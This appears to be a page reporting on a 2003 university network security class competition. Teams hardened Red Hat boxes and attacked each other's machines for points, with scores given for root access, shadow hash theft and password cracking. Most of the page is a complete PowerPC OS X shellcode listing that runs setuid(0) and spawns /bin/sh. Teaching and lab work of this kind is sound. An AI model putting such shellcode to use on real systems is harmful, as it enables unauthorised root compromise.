

# Network Security Class Competition Fall 2003

## Abstract

The purpose was two fold:

- 1) Harden a default install of Redhat Linux and
- 2) Compromise computers on the lab's network. Points were assigned according to the level of compromise obtained on another box.



## Shell Code

```
; PPC OS X / Darwin Shellcode by B-r00t.
; setuid(0) execve("/bin/sh) exit(0)
;
.globl _main
.text
_main:
xor. r3, r3, r3          ; r3 = 0
bnel _main              ;
li r10, 268+23          ; r10 = 268 + 23
addi r0, r10, -268      ; r0 = 23 syscall for
                        ; setuid()
.long 0x44ffff02        ; modified sc
.long 0x60606060        ; modified NOP
xor. r5, r5, r5         ; r5 = 0
mflr r3                ; r3 = LR (main + 8)
addi r3, r3, 268+72     ;
addi r3, r3, -268      ; r3 = string
stw r3, -8(r1)          ; argv[0] = string
stw r5, -4(r1)          ; argv[1] = NULL
subi r4, r1, 8          ; r4 = pointer to argv[]
li r30, 268+59          ;
addi r0, r30, -268      ; r0 = 59 syscall for
                        ; execve()
.long 0x44ffff02        ; modified sc mr r3, r5
                        ; r3 = 0
li r30, 268+1          ;
addi r0, r30, -268      ; r0 = 1 syscall for exit()
.long 0x44ffff02        ; modified sc
string: .asciz "/bin/sh" ;
```



## Results

- |           |          |                |
|-----------|----------|----------------|
| 1: Team D | 2216 pts | 5X root access |
| 2: Team E | 1503 pts | 3X root access |
| 3: Team A | 1108 pts | 1X root access |
| 4: Team B | 1064 pts | 3X root access |
| 5: Team C | 568 pts  | 3X root access |

## Points

- Mapping the network (2 pts. per ip address)
- Mapping services (20 pts. per box)
- OS detection (10 pts. per victim box)
- Gaining user access to a victim box (30 pts.)
- Gaining user access to a team box (50 pts.)
- Gaining root access to a victim box and retrieving the shadow hash file (150 pts.)
- Gaining root access to a team box and retrieving the shadow hash file (250 pts.)
- Time bonus: Given if all of the above tasks are completed within a time
- If someone compromised your box (-300 pts.)
- Successfully cracking a password (200 pts.)

